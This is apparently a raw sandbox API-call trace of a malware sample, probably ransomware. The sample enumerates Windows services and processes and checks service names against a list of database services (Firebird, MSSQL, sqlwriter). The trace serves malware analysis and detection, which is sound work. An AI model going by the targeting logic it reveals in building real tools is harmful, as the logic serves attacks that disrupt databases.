lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0314.081] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0314.081] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0314.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0314.081] lstrlenW (lpString="nsi") returned 3 [0314.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0314.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0314.081] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0314.081] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0314.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0314.081] lstrlenW (lpString="PcaSvc") returned 6 [0314.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0314.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0314.081] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0314.081] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0314.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0314.082] lstrlenW (lpString="PlugPlay") returned 8 [0314.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0314.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0314.082] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0314.082] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0314.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0314.082] lstrlenW (lpString="Power") returned 5 [0314.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0314.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0314.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0314.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0314.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0314.082] lstrlenW (lpString="ProfSvc") returned 7 [0314.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0314.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0314.082] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0314.082] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0314.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0314.082] lstrlenW (lpString="RpcEptMapper") returned 12 [0314.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0314.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0314.082] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0314.082] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0314.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0314.082] lstrlenW (lpString="RpcSs") returned 5 [0314.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0314.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0314.082] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0314.082] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0314.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0314.083] lstrlenW (lpString="SamSs") returned 5 [0314.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0314.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0314.083] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0314.083] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0314.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0314.083] lstrlenW (lpString="Schedule") returned 8 [0314.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0314.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0314.083] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0314.083] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0314.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0314.083] lstrlenW (lpString="SecurityHealthService") returned 21 [0314.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0314.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0314.083] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0314.083] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0314.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0314.083] lstrlenW (lpString="SENS") returned 4 [0314.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0314.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0314.083] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0314.083] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0314.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0314.083] lstrlenW (lpString="ShellHWDetection") returned 16 [0314.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0314.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0314.083] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0314.083] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0314.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0314.084] lstrlenW (lpString="Spooler") returned 7 [0314.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0314.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0314.084] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0314.084] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0314.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0314.084] lstrlenW (lpString="SSDPSRV") returned 7 [0314.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0314.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0314.084] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0314.084] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0314.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0314.084] lstrlenW (lpString="StateRepository") returned 15 [0314.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0314.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0314.084] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0314.084] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0314.084] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45eee80 | out: hHeap=0x6e0000) returned 1 [0314.084] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x560 [0314.091] Process32FirstW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0314.091] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0314.092] lstrlenW (lpString="System") returned 6 [0314.092] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0314.093] lstrlenW (lpString="smss.exe") returned 8 [0314.093] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0314.093] lstrlenW (lpString="csrss.exe") returned 9 [0314.093] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0314.094] lstrlenW (lpString="wininit.exe") returned 11 [0314.094] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0314.095] lstrlenW (lpString="csrss.exe") returned 9 [0314.095] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0314.095] lstrlenW (lpString="winlogon.exe") returned 12 [0314.096] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0314.096] lstrlenW (lpString="services.exe") returned 12 [0314.096] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0314.097] lstrlenW (lpString="lsass.exe") returned 9 [0314.097] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0314.098] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0314.098] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0314.098] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0314.098] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.099] lstrlenW (lpString="svchost.exe") returned 11 [0314.099] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.100] lstrlenW (lpString="svchost.exe") returned 11 [0314.100] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0314.100] lstrlenW (lpString="dwm.exe") returned 7 [0314.100] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.101] lstrlenW (lpString="svchost.exe") returned 11 [0314.101] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.102] lstrlenW (lpString="svchost.exe") returned 11 [0314.102] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.103] lstrlenW (lpString="svchost.exe") returned 11 [0314.103] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.104] lstrlenW (lpString="svchost.exe") returned 11 [0314.104] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.106] lstrlenW (lpString="svchost.exe") returned 11 [0314.106] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.107] lstrlenW (lpString="svchost.exe") returned 11 [0314.107] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.107] lstrlenW (lpString="svchost.exe") returned 11 [0314.107] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.108] lstrlenW (lpString="svchost.exe") returned 11 [0314.108] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.109] lstrlenW (lpString="svchost.exe") returned 11 [0314.109] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.110] lstrlenW (lpString="svchost.exe") returned 11 [0314.110] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0314.110] lstrlenW (lpString="spoolsv.exe") returned 11 [0314.110] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0314.111] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0314.111] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0314.112] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0314.112] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0314.112] lstrlenW (lpString="Memory Compression") returned 18 [0314.112] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.113] lstrlenW (lpString="svchost.exe") returned 11 [0314.113] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0314.114] lstrlenW (lpString="audiodg.exe") returned 11 [0314.114] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0314.114] lstrlenW (lpString="sihost.exe") returned 10 [0314.115] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.115] lstrlenW (lpString="svchost.exe") returned 11 [0314.115] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0314.116] lstrlenW (lpString="taskhostw.exe") returned 13 [0314.116] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0314.117] lstrlenW (lpString="explorer.exe") returned 12 [0314.117] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0314.117] lstrlenW (lpString="SearchUI.exe") returned 12 [0314.117] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0314.118] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0314.118] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0314.119] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0314.119] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0314.123] lstrlenW (lpString="1csrss.exe") returned 10 [0314.123] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.123] lstrlenW (lpString="svchost.exe") returned 11 [0314.123] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0314.124] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0314.124] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0314.125] lstrlenW (lpString="svchost.exe") returned 11 [0314.125] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1ac, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0314.125] lstrlenW (lpString="consent.exe") returned 11 [0314.125] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0314.133] lstrlenW (lpString="dllhost.exe") returned 11 [0314.133] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0314.134] CloseHandle (hObject=0x560) returned 1 [0314.134] Sleep (dwMilliseconds=0x1f4) [0314.635] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0314.636] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0314.636] GetLastError () returned 0xea [0314.636] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1de6) returned 0x45eee80 [0314.636] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45eee80, cbBufSize=0x1de6, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45eee80, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0314.637] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0314.637] lstrlenW (lpString="Appinfo") returned 7 [0314.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0314.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0314.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0314.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0314.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0314.637] lstrlenW (lpString="AppXSvc") returned 7 [0314.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0314.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0314.637] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0314.637] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0314.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0314.637] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0314.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0314.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0314.638] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0314.638] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0314.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0314.638] lstrlenW (lpString="Audiosrv") returned 8 [0314.638] lstrcmpiW 